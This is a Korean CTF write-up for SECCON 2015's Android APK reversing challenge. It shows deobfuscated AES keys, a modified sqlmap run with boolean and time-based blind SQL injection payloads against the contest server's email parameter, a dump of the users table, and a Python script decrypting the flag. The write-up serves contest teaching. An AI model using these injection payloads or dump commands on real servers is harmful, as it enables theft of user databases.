SECCON 2015 CTF) Reverse-Engineering Android APK 2 – Unknown- 400 Write up (KR)

12/06/2015 0 Comments

안녕하세요. h2spice 입니다.
SECCON 2015 – Unknown 400 – Reverse Engineering Android APK(2) WriteUp 입니다.


현실적으로 발생할 수 있는 시나리오로 작성하면서, 재미있는 문제를 만들고싶었습니다만,
문제를 푸는 분들은 어떻게 생각하고 있는지 궁금합니다.
(문제가 있다면 지적 부탁드리겠습니다. 다음에 문제를 만들 기회가 더 생긴다면 반영하도록 하겠습니다.)

문제는 로그인, 회원가입, 사용자정보 출력 기능을 가진 안드로이드 앱입니다.


특정 사용자의 경우만 User Information 화면에 Score를 획득할 수 있는 인증키가 출력됩니다.

login.php 와 register.php 의 email parameter 에는 SQL-Injection 가능한 취약성이 있고
HTTP response 는 Json type 으로 전달하기 때문에 Blind SQL Injection 공격을 통해서 해결해야 합니다.


아래 그림과 같이 E-mail Form에 Query를 삽입하여 SQL-Injection 취약성을 확인할 수 있습니다.


.apk를 Decompile해서 분석해보면, SECCON{…} Key 는 uid(unique-id)로 AES 암호화하여 저장된 것을 볼 수 있습니다. uid는 [index i:index j] 만큼 잘라서 AES Key로 사용하는데, i,j 변수는 난독화되어 있습니다.


SECCON{…} Key가 특정 사용자의 uid로 암호화되어 있기 때문에, uid를 획득할 수 있는 방법은 Brute-force Attack 또는 Server의 Database를 공략하는 방법밖에 없습니다.
Brute-force 의 경우 CTF가 진행되는 동안(24H)은 불가능하기 때문에, Server의 Database를 취득해야합니다.
‘Sign up’ 또는 ‘Sign in’ 할때  HTTP POST Parameter는 모두 AES 암호화하여 전송합니다.
AES Key는 난독화된 데이터들로 구성되어 있습니다.


Obfuscator는 PRNG(Pseudorandom number generator)를 사용하여 Feistel-cipher 구조로 구현되어 있습니다.
(https://en.wikipedia.org/wiki/Feistel_cipher)
static final int a = a(a("FENX0TONI0")); //seed = seed_generator(deObfuscator("FENX0TONI0"));

위의 코드에서 static final int a 는 deobfuscator에서 사용하는 seed입니다. (정확히는 PRNG에서 사용합니다)
deObfuscator에서는 PRNG(pseudorandom number generator)을 호출하는데, PRNG( )에서 seed를 참조하고 Random number를 생성하게 됩니다.
하지만 여기에 간단한 함정이 있는데, seed를 만들기 전 seed를 참조하는 상황이 발생하는것처럼 보이게 만들었습니다.


실제로 j.class(Obfuscator) 객체가 생성될 때, int a(seed)는 ‘zero’로 초기화됩니다.
그리고 난독화된 데이터 “FENX0TONI0″도 난독화를 풀면 ‘zero’입니다. seed-generator의 argument로 0이 들어갔을때, 내부적으로 shift 연산을 몇번이고 해도 0이 되기 때문에, seed는 처음부터 끝까지 ‘zero’입니다.


이런식으로, 난독화를 풀고 POST Parameter의 AES Key도 찾을 수 있습니다.
login.php POST parameter AES Key is "3246847986364861"
register.php POST paraneter AES Key is "9845674983296465"

위의 AES Key로 Parameter를 생성해 Blind SQL Injection 공격을 진행합니다.
저의 경우는 SQLMap의 코드를 수정해서 공격하였습니다.


공격이 정상적으로 성공하면 아래와 같이 DB정보들을 확인할 수 있습니다.
[10:04:32] [INFO] retrieving the length of query output
[10:04:32] [INFO] resumed: 24
[10:04:32] [INFO] resumed: INNODB_BUFFER_POOL_STATS
[10:04:32] [INFO] retrieving the length of query output
[10:04:32] [INFO] resumed: 17
[10:04:32] [INFO] resumed: INNODB_LOCK_WAITS
[10:04:32] [INFO] retrieving the length of query output
[10:04:32] [INFO] resumed: 13
[10:04:32] [INFO] resumed: INNODB_CMPMEM
[10:04:32] [INFO] retrieving the length of query output
[10:04:32] [INFO] resumed: 10
[10:04:32] [INFO] resumed: INNODB_CMP
[10:04:32] [INFO] retrieving the length of query output
[10:04:32] [INFO] resumed: 12
[10:04:32] [INFO] resumed: INNODB_LOCKS
[10:04:32] [INFO] retrieving the length of query output
[10:04:32] [INFO] resumed: 19
[10:04:32] [INFO] resumed: INNODB_CMPMEM_RESET
[10:04:32] [INFO] retrieving the length of query output
[10:04:32] [INFO] resumed: 16
[10:04:32] [INFO] resumed: INNODB_CMP_RESET
[10:04:32] [INFO] retrieving the length of query output
[10:04:32] [INFO] resumed: 22
[10:04:32] [INFO] resumed: INNODB_BUFFER_PAGE_LRU
[10:04:32] [INFO] fetching number of tables for database 'seccon2015'
[10:04:32] [INFO] resumed: 1
[10:04:32] [INFO] retrieving the length of query output
[10:04:32] [INFO] resumed: 5
[10:04:32] [INFO] resumed: users
Database: information_schema
[40 tables]
+---------------------------------------+
| CHARACTER_SETS                        |
| COLLATIONS                            |
| COLLATION_CHARACTER_SET_APPLICABILITY |
| COLUMNS                               |
| COLUMN_PRIVILEGES                     |
| ENGINES                               |
| EVENTS                                |
| FILES                                 |
| GLOBAL_STATUS                         |
| GLOBAL_VARIABLES                      |
| INNODB_BUFFER_PAGE                    |
| INNODB_BUFFER_PAGE_LRU                |
| INNODB_BUFFER_POOL_STATS              |
| INNODB_CMP                            |
| INNODB_CMPMEM                         |
| INNODB_CMPMEM_RESET                   |
| INNODB_CMP_RESET                      |
| INNODB_LOCKS                          |
| INNODB_LOCK_WAITS                     |
| INNODB_TRX                            |
| KEY_COLUMN_USAGE                      |
| PARAMETERS                            |
| PARTITIONS                            |
| PLUGINS                               |
| PROCESSLIST                           |
| PROFILING                             |
| REFERENTIAL_CONSTRAINTS               |
| ROUTINES                              |
| SCHEMATA                              |
| SCHEMA_PRIVILEGES                     |
| SESSION_STATUS                        |
| SESSION_VARIABLES                     |
| STATISTICS                            |
| TABLES                                |
| TABLESPACES                           |
| TABLE_CONSTRAINTS                     |
| TABLE_PRIVILEGES                      |
| TRIGGERS                              |
| USER_PRIVILEGES                       |
| VIEWS                                 |
+---------------------------------------+

Database: seccon2015
[1 table]
+---------------------------------------+
| users                                 |
+---------------------------------------+

[10:04:32] [INFO] fetched data logged to text files under '/Users/h2spice/.sqlmap/output/apk.pwn.seccon.jp'

[*] shutting down at 10:04:32

획득해야할 정보는 사용자의 uid(unique-id)이기 때문에 users Table을 취득합니다.
h2spices-MacBook-Pro:sqlmapproject-sqlmap-a219ff9 h2spice$ python sqlmap.py -r login.txt -p email --dump -T users -D seccon2015
         _
 ___ ___| |_____ ___ ___  {1.0-dev-nongit-201511300897}
|_ -| . | |     | .'| . |
|___|_  |_|_|_|_|__,|  _|
      |_|           |_|   http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting at 10:09:00

[10:09:00] [INFO] parsing HTTP request from 'login.txt'
[10:09:00] [INFO] resuming back-end DBMS 'mysql' 
[10:09:00] [INFO] resuming back-end DBMS operating system 'Linux' 
[10:09:00] [INFO] testing connection to the target URL
plain-post
password=dkstkdghks&email=h2spice
encrypted post
password=2e%2FwWYgMteNzXbChjBDEng%3D%3D&email=VRMkFtG6DFvKDcdcuNP32Q%3D%3D
[10:09:00] [INFO] heuristics detected web page charset 'ascii'
[10:09:00] [INFO] checking if the target is protected by some kind of WAF/IPS/IDS
plain-post
password=dkstkdghks&email=h2spice
encrypted post
password=2e%2FwWYgMteNzXbChjBDEng%3D%3D&email=VRMkFtG6DFvKDcdcuNP32Q%3D%3D
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: email (POST)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: password=dkstkdghks&email=h2spice' AND 7759=7759 AND 'aUaH'='aUaH

    Type: AND/OR time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
    Payload: password=dkstkdghks&email=h2spice' AND (SELECT * FROM (SELECT(SLEEP(5)))shyL) AND 'sFAw'='sFAw
---
[10:09:00] [INFO] the back-end DBMS is MySQL
web application technology: Apache
back-end DBMS: MySQL 5
[10:09:00] [INFO] fetching columns for table 'users' in database 'seccon2015'
[10:09:00] [WARNING] running in a single-thread mode. Please consider usage of option '--threads' for faster data retrieval
[10:09:00] [INFO] retrieved: plain-post
password=dkstkdghks&email=h2spice%27%20AND%20ORD%28MID%28%28SELECT%20IFNULL%28CAST%28COUNT%28column_name%29%20AS%20CHAR%29%2C0x20%29%20FROM%20INFORMATION_SCHEMA.COLUMNS%20WHERE%20table_name%3D0x7573657273%20AND%20table_schema%3D0x736563636f6e32303135%29%2C1%2C1%29%29%3E51%20AND%20%27SYEX%27%3D%27SYEX
encrypted post
password=2e%2FwWYgMteNzXbChjBDEng%3D%3D&email=5pNDsvrGY7Y4Cfi4dATbVIp4ephJJIjMZ0BNE2ROEIHWmJEp64R%2FnXbnF9UURKBP5oY9StTRzv3ovlV6aqn2ZSJqmuFyLB0m8x%2B9yXQSjkGp7%2BTgNW2QXU0giLB4BkpDRQY1j4uG3iepEY8Lpqobs%2FTaA0UVtgBFzGL2uLqQb1QDIXRou%2FcoP94h5KnlRE5Q5Oax0AKEmXUPGkz9QoR%2BFGPeahw3DSg0dY%2FiCe4bbrurGE9BCcB8DQjOnL%2F48Wn94Zg0FO8JihPZRsQmzGGaRw%3D%3D

공격 결과, users table의 데이터들을 모두 가져올 수 있고, iahthekey@2015.seccon.jp 계정의 unique_id를 찾을 수 있습니다.


iamthekey@2015.seccon.jp의 unique-id는 [0:16] 만큼 잘라서 AES Key가 됩니다.
AES Key로 암호화된 SECCON{…}를 복호화할 수 있습니다.


복호화 코드는 아래와 같습니다.
import base64
from Crypto.Cipher import AES

BS = 16
pad = lambda s: s + (BS - len(s) % BS) * chr(BS - len(s) % BS).encode()
unpad = lambda s: s[:-ord(s[len(s)-1:])]

key = "a159c1f7097ba804"
enc = "fuO/gyps1L1JZwet4jYaU0hNvIxa/ncffqy+3fEHIn4="
enc = base64.b64decode(enc)
cipher = AES.new(key, AES.MODE_ECB)
dec = cipher.decrypt(enc)
plain=unpad(dec).decode('utf-8')
print plain

결과는 아래와 같습니다.
h2spices-MacBook-Pro:Desktop h2spice$ python android400-decrypt.py 
SECCON{6FgshufUTpRm}


If you need my help, tell me anytime. Facebook